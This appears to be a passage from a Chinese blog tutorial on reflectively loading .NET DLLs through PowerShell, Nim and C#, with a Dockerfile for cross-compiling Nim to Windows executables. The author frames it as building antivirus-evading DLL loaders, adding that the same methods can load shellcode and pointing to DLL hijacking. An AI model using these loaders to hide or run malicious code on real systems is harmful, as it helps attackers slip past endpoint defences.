2
3
$bytes = [System.IO.File]::ReadAllBytes("C:/users/user/desktop/NET.dll");[Reflection.Assembly]::Load($bytes);[aaa]::bbb();
[Reflection.Assembly]::LoadFile("C:/users/user/desktop/NET.dll");[aaa]::bbb();
[Reflection.Assembly]::LoadFrom("C:/users/user/desktop/NET.dll");[aaa]::bbb();

以上powershell内容均可被转化为C#程序来进行操作。

2、nim版本的加载

本质上其最终得到的程序应该和后文中C#编译出来程序的差不多,但nim的具体细节我也不清楚——应该还是有点不一样吧,但nim直接写更加言简意赅。对下面程序如有疑问,建议查看winim/clr手册

1
2
3
4
5
6
7
8
9
10
11
12
import winim/clr

proc dllReflect(dllPath: string): void =
echo "[*] Start reflecting... "
let dll = load(dllPath)
var popCalc = dll.GetType("aaa")
#@popCalc.bbb() ## 方法一
@popCalc.invoke("bbb", BindingFlags_InvokeMethod or BindingFlags_Default) ## 方法二
echo "[+] Succeeded"

when isMainModule:
dllReflect("C:/users/user/desktop/NET.dll")

当然,以上加载方法也可以用来加载shellcode

3、C#编写程序加载

用C#程序编写相关的加载器比较简单。花样很多,我就呈现一个和上面内容看起来差不多的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
using System;
using System.Reflection;
public class TestClass
{
public static void Main(string[] args)
{
string dllPath = "C:/users/user/desktop/NET.dll";
Assembly asm = Assembly.LoadFile(dllPath);
//Console.WriteLine(asm.CodeBase);
Type t = asm.GetType("aaa");
object instance = Activator.CreateInstance(t);

//MethodInfo method = t.GetMethod("bbb"); // 注释的两条和下面的那条未注释的等价
//object result = method.Invoke(instance, null);
object result = instance.GetType().GetMethod("bbb").Invoke(instance, null);
}
}
// C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe -out:NET_REFLECT.exe call_dll.cs
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:NET_REFLECT.exe call_dll.cs

经过测试,只有当dll是.NET4.0编译且加载器NET_REFLECT.exe是由.NET2.0编译这样的情况会失败,其他3种情形均可正常加载并运行。另外,你可能会注意到网上很多人写的代码看似差别很大,比如这位老哥的C++版本,但实质上都是通过当前进程com接口初始化(公共语言运行时)CLR环境然后(从磁盘或者内存中)反射执行.NET assembly。

4、用C#移植的nim脚本来加载

根据之前的C#内容,这里展现下如何将其直接移植到nim脚本中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import winim/clr

const code = """
using System;
using System.Reflection;
public class TestClass
{
public static void myFunc(string dllPath)
{
Assembly asm = Assembly.LoadFile(dllPath);
Type t = asm.GetType("aaa");
MethodInfo method = t.GetMethod("bbb");
object instance = Activator.CreateInstance(t);
object result = method.Invoke(instance, null);
}
}
"""

proc csembed_reflection(dllPath: string): void =
echo "[*] Compiling the C# code "
var res = compile(code)
if res.Errors.Count != 0:
for error in res.Errors:
echo error

echo "[*] Invoking a static method."
var TestClass = res.CompiledAssembly.new("TestClass")
TestClass.myFunc(dllPath)
echo "[+] Succeeded"

when isMainModule:
let dllPath = "C:/users/user/desktop/NET.dll"
csembed_reflection(dllPath)

可以看到nim的恐怖实力,随便拿个C++和C#就能够轻松调。

nim的Dockerfile

它的Dockerfile非常简单,但因为众所周知的原因,这里需要设一下自己的代理。还有就是为了方便取用编译好的程序,增添了一个非root用户用于编译。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
FROM nimlang/nim:latest
MAINTAINER UCASZ <nope@233.com>

RUN sed -i 's/archive.ubuntu.com/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list && \
sed -i 's/security.ubuntu.com/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list && \
apt update && \
apt install -y mingw-w64 nim vim && \
useradd -ms /bin/bash app

USER app

RUN git config --global http.proxy 'http://192.168.109.1:1081' && \
git config --global https.proxy 'http://192.168.109.1:1081' && \
nimble install -y winim && \
git config --global --unset http.proxy && \
git config --global --unset https.proxy

WORKDIR /usr/src/app

想要在这里面跨平台编译名为exec.nim文件非常简单,直接运行如下命令即可(添加的一些参数是为压缩其大小):

1
docker run --rm --user app -v `pwd`:/usr/src/app -w /usr/src/app nim:latest nim c --app=gui -d:mingw -d:release -d:strip --opt:size --passc=-flto --passl=-flto --cpu=amd64 exec.nim

ps:若要跨平台编译,记得使用-d=mingw参数。如果不想在运行exe文件时弹出黑框,可加上--app=gui参数。另外,建议在Dockerfile中用命令复制一份根据自己需要而配置的nim.cfg文件于相应的路径(因为可能默认的配置会有问题,比如跨平台编译cpp的时候会找不到需要的头文件,并且注意头文件第一个字母最好用小写)。

其他

nim还能调用python,js等等语言,甚至还能写asmwebassembly。此外,nim执行效率很高。不过呢坑也多 == ,还是强力推荐吧。

相信这篇文章能搞明白就基本具备编写特征免杀的dll loader的能力了,一些东西就自行发挥吧;至于行为层面的,呵呵。。要有机会写一篇关于shellcode loader的大集合,但也可能就咕咕咕了。还有“白加黑”,本文没详细提及也是遗憾之一。

最近还看到两篇关于dll劫持的文章(点这里这里),有兴趣的读者可以继续研究下。哦,再推荐一个专门找可劫持路径的项目

在.NET反射加载dll程序调试的时候,遇到一个让我摸不着头脑的情况——以普通用户身份双击生成的exe文件后,父进程迅速消失,留下了普通用户杀不死的子进程(只有管理员能杀),而且子进程在任务管理器甚至火绒剑里面都看不到,只有tasklist命令才能够发现(听懂掌声);然而一重启电脑却没法复现了…… 求问原因 TAT

参考文献

梦开始的地方:

https://github.com/byt3bl33d3r/OffensiveNim/

文中未提及的部分引用:

https://xz.aliyun.com/t/3235

https://blog.csdn.net/Cody_Ren/article/details/100053434

https://bbs.pediy.com/thread-220405.htm

非常重要的nim手册(若要真正理解,必参考里面的例子):

https://nim-lang.org/docs/winlean.html

https://nim-lang.org/docs/dynlib.html

https://github.com/khchen/winim/

https://nim-lang.org/docs/manual.html#foreign-function-interface-dynlib-pragma-for-import

https://nim-lang.org/docs/backends.html

https://github.com/nim-lang/Nim/wiki/Nim-for-C-programmers